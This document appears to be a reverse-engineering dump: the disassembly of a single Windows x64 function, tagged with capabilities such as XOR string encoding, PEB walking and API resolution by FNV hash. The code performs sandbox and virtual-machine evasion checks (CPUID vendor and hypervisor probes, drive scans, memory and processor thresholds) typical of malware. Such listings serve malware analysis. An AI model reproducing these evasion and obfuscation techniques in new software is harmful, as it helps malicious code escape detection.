Function at 0x140001290
Capabilities:
Access peb ldr_data
Encode data using xor
Get disk information
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x3b0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x360], rax
movabs r14, 0xb3e2a85fa5ab744c
movabs rdi, 0xece5a8a283d467d3
movabs rax, 0xece5a8f1cb972891
movabs r15, 0x5e8f65c1c74856d6
mov qword [rbp + 0x80], rax
movabs rsi, 0x3919f8347be4d035
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rax
movabs rax, 0x85a7c5c7f7a71e80
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
movabs rax, 0xdc8bdb2dc0fd0723
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
movabs rax, 0x3919f8347be4d05b
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
movabs rax, 0xa9b7e9f5c786269b
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc38bda3cd6ce3010
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
movabs rax, 0x4a60ab68158bb941
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
movabs rax, 0x5e8f65c1c72533a2
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xb8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea r9, [rbp + 0x60]
lea r8, [rbp]
lea rdx, [rbp + 0xe0]
vzeroupper
call fcn.140005330
test eax, eax
jne 0x1400034f2
mov dword [rbp + 0x80], eax
xor ecx, ecx
mov eax, 0x80000000
cpuid
mov dword [rbp + 0x80], eax
mov dword [rbp + 0x84], ebx
mov dword [rbp + 0x88], ecx
mov dword [rbp + 0x8c], edx
cmp eax, 0x80000004
jb 0x140001595
mov edx, 0x80000002
lea rcx, [rbp + 0xa0]
call fcn.1400035a0
mov edx, 0x80000003
lea rcx, [rbp + 0xb0]
call fcn.1400035a0
mov edx, 0x80000004
lea rcx, [rbp + 0xc0]
call fcn.1400035a0
mov byte [rbp + 0xd0], 0
movabs rax, 0x808ddce3a3902a92
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
movabs rax, 0xc3c28132d1831a23
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
movabs rax, 0x4b768b471e87bf47
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm0, ymm0, ymmword [rbp]
vmovq rax, xmm0
cmp qword [rbp + 0xa0], rax
vmovdqu ymmword [rbp], ymm0
vzeroupper
jne 0x1400016a6
vmovdqu ymm1, ymmword [rbp]
vmovdqa xmm0, xmm1
vpsrldq xmm0, xmm0, 8
vmovq rax, xmm0
cmp qword [rbp + 0xa8], rax
jne 0x1400016a6
vextractf128 xmm0, ymm1, 1
vmovq rax, xmm0
cmp qword [rbp + 0xb0], rax
je 0x1400034f2
xor eax, eax
xor ecx, ecx
cpuid
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x80], xmm0
mov dword [rbp + 0x80], eax
mov dword [rbp + 0x84], ebx
mov dword [rbp + 0x88], ecx
mov dword [rbp + 0x8c], edx
cmp ecx, 0x444d4163
jne 0x140001701
xor ecx, ecx
mov eax, 0x8fffffff
cpuid
mov dword [rbp + 0x80], eax
mov dword [rbp + 0x84], ebx
mov dword [rbp + 0x88], ecx
mov dword [rbp + 0x8c], edx
test ecx, ecx
jne 0x1400034f2
xor ecx, ecx
mov dword [rbp + 0x80], 0
mov eax, 0x80000000
cpuid
mov dword [rbp + 0x80], eax
mov dword [rbp + 0x84], ebx
mov dword [rbp + 0x88], ecx
mov dword [rbp + 0x8c], edx
cmp eax, 0x80000004
jb 0x14000176d
mov edx, 0x80000002
lea rcx, [rbp + 0xe0]
call fcn.1400035a0
mov edx, 0x80000003
lea rcx, [rbp + 0xf0]
call fcn.1400035a0
mov edx, 0x80000004
lea rcx, [rbp + 0x100]
call fcn.1400035a0
mov byte [rbp + 0x110], 0
movabs rax, 0xccc58882a3f447f3
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 0x80]
mov r8d, 0x2f
mov qword [rbp + 0xa0], rax
movabs rax, 0xddab887f858b546c
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
movabs rax, 0x6939d1665388b541
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xb0], rax
movabs rax, 0xca708b4ae3c38b3
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xb8], rax
movabs rax, 0x3bc4fdfd1793529e
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xc0], rax
movabs rax, 0x3140855b6ecd3190
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
movabs rax, 0x1b91adbe37a772b7
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x20], rax
movabs rax, 0x3160a57b4eed11b0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
vmovdqa xmm2, xmmword [rbp + 0xc0]
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
mov qword [rbp + 0x28], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqa xmmword [rbp + 0xc0], xmm2
vzeroupper
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400034f2
xor ecx, ecx
mov eax, 1
cpuid
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x68], ecx
sar ecx, 0x1f
mov dword [rbp + 0x60], eax
mov dword [rbp + 0x64], ebx
mov dword [rbp + 0x6c], edx
test cl, 1
jne 0x1400034f2
movabs rax, 0xbaaee5f4c8993198
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85fa5ab7401
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp], rax
movabs rax, 0x8a8adbcdf1b70e9e
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85fd3e35438
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
movabs rax, 0xa1b3cdd0e2a32a85
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85fc0d9153b
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x10], rax
movabs rax, 0x89bde5efd5ba028b
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85fe8e62222
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x18], rax
movabs rax, 0x8995d1caa3b815a3
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85f858b023e
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x20], rax
movabs rax, 0x948aeaf4fbbb2585
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85fddc4361a
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov edx, dword [rbp + 0x88]
mov rbx, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x28], rax
xor eax, eax
movdqa xmmword [rbp + 0x60], xmm0
nop
mov rcx, qword [rbp + rax*8]
cmp rbx, qword [rcx]
jne 0x140001c23
cmp edx, dword [rcx + 8]
je 0x1400034f2
inc rax
cmp rax, 6
jl 0x140001c10
call fcn.140003750
test eax, eax
jne 0x1400034f2
call fcn.140003a40
test eax, eax
jne 0x1400034f2
xor edx, edx
lea rcx, [rbp + 0x250]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x250]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
movabs r13, 0x948d24d15a20c4ed
movabs r12, 0xadbe141837efd082
test eax, eax
je 0x140001e4c
cmp eax, 0x104
ja 0x140001e4c
xor edx, edx
lea rcx, [rbp + 0x140]
mov r8d, 0x104
lea rbx, [rbp + 0x250]
call sub.VCRUNTIME140.dll_memset
cmp byte [rbp + 0x250], 0
je 0x140001e4c
movabs rdi, 0xf1e154bc3b53b7c8
movabs rsi, 0xadbe14185297b5ac
movabs r14, 0xe6ec53bd3b4db7c8
movabs r15, 0xadbe147d4f8afee7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x140001e11
mov qword [rbp + 0x80], rdi
lea r8, [rbp + 0x60]
mov rax, qword [rbp + 0x80]
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x60], rax
mov r9, rbx
mov qword [rbp + 0x80], rsi
mov edx, 0x104
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
call fcn.1400036f0
lea rcx, [rbp + 0x140]
call fcn.140005820
test eax, eax
jne 0x1400034f2
mov qword [rbp + 0x80], r14
lea r8, [rbp + 0xa0]
mov rax, qword [rbp + 0x80]
lea rcx, [rbp + 0x140]
mov qword [rbp + 0xa0], rax
mov r9, rbx
mov qword [rbp + 0x80], r15
mov edx, 0x104
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.1400036f0
lea rcx, [rbp + 0x140]
call fcn.140005820
test eax, eax
jne 0x1400034f2
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x140001e20
inc rbx
add rbx, rax
cmp byte [rbx], 0
jne 0x140001ce3
movabs r14, 0xb3e2a85fa5ab744c
movabs r15, 0x5e8f65c1c74856d6
call fcn.140003d40
test eax, eax
jne 0x1400034f2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140001ee7
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140001ee7
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec ebx
mov edx, 0xa099ce54
lea rax, [r8 + rbx*4]
mov ecx, dword [rax + r10]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140001ee3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140001ec0
cmp edx, 0x435b04a9
je 0x14000347e
test ebx, ebx
jne 0x140001ea0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140001efd
cmp qword [rax + 0x30], 0
jne 0x140001e70
xor ebx, ebx
movabs rax, 0x948d24d15a7cfeae
lea r8, [rbp + 0x80]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp + 0x80]
xor r9d, r9d
mov qword [rbp + 0xa0], rax
xor edx, edx
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call rbx
test eax, eax
je 0x140001fa4
mov rax, qword [rbp + 0x80]
movabs rcx, 0xf00000000
and rax, 0xffffffffc0000000
cmp rax, rcx
jbe 0x1400034f2
call fcn.140004210
test eax, eax
jne 0x1400034f2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140002047
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140002047
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec ebx
mov edx, 0xf9b8eb22
lea rax, [r10 + rbx*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140002043
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140002020
cmp edx, 0x121faffb
je 0x14000349b
test ebx, ebx
jne 0x140002000
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000205d
cmp qword [rax + 0x30], 0
jne 0x140001fd0
xor eax, eax
lea rcx, [rbp]
call rax
cmp dword [rbp + 0x20], 2
jb 0x1400034f2
mov dword [rbp], 0x40
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x140002107
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140002107
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec ebx
mov edx, 0x820ac40b
lea rax, [r10 + rbx*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140002103
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400020e0
cmp edx, 0x9f438168
je 0x1400034b8
test ebx, ebx
jne 0x1400020c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000211d
cmp qword [rax + 0x30], 0
jne 0x140002090
xor eax, eax
lea rcx, [rbp]
call rax
mov rax, qword [rbp + 8]
and rax, 0xfffffffffffffc00
cmp rax, 0x40000000
jb 0x1400034f2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r8, qword [rdi + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
add r11, r8
cmp r11, r8
je 0x1400021d7
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1400021d7
mov r10d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec ebx
mov edx, 0x9ac210fa
lea rax, [r10 + rbx*4]
mov eax, dword [rax + r8]
add rax, r8
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400021d3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400021b0
cmp edx, 0xcc512502
je 0x1400034d5
test ebx, ebx
jne 0x140002190
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400021ed
cmp qword [rax + 0x30], 0
jne 0x140002160
xor eax, eax
call rax
cmp eax, 0xafe74
jb 0x1400034f2
call fcn.1400043f0
test eax, eax
jne 0x1400034f2
movabs rdi, 0xece5a8a283d467d3
movabs rbx, 0xece5a8a2d6992282
mov qword [rbp + 0x80], rbx
movabs r12, 0xa9b7e9f5c786269b
mov rax, qword [rbp + 0x80]
movabs rsi, 0x3919f8347be4d035
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
movabs rax, 0x8583c1d6edb1039a
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
movabs rax, 0xb3e2a85fa5ab0629
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
movabs rax, 0xfea7eb16f3ee3010
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
movabs rax, 0x65708b5728b88074
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
movabs rax, 0x2ce035e1ae3b3585
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
movabs rax, 0x72e2ceed6b9752c3
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
movabs rax, 0x653c955b3d985390
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x108], rax
movabs rax, 0x3c237d44b6e7fb8
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x110], rax
movabs rax, 0x49d675426f71418a
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x118], rax
movabs rax, 0x34fbb8e489aaa8da
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x120], rax
movabs rax, 0xd02c95e7d37fca5d
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], rsi
lea r9, [rbp + 0xa0]
mov rax, qword [rbp + 0x80]
lea r8, [rbp + 0x60]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
movabs rax, 0x1b91adbe37a772b7
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x20], rax
movabs rax, 0x3160a57b4eed11b0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x28], rax
movabs rax, 0x678b17a02e090dd9
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x30], rax
movabs rax, 0x2abf122d232d71aa
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x38], rax
movabs rax, 0x148fd18adc8ac4bb
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x40], rax
movabs rax, 0xd02c95e7e35fae14
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqu ymm0, ymmword [rbp + 0x100]
vmovdqa xmm2, xmmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0xe0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0x48], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmmword [rbp + 0x120], xmm2
vzeroupper
call fcn.140005330
test eax, eax
jne 0x1400034f2
mov qword [rbp + 0x80], rbx
lea r9, [rbp + 0xa0]
mov rax, qword [rbp + 0x80]
lea r8, [rbp]
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
movabs rax, 0x85a7c5c7f7a71e80
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
movabs rax, 0xdc8bdb2dc0fd0723
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
movabs rax, 0x3919f8347be4d05b
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
movabs rax, 0xc38bda3cd6ce3010
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
movabs rax, 0x4a60ab68158bb941
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
movabs rax, 0x5e8f65c1c72533a2
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
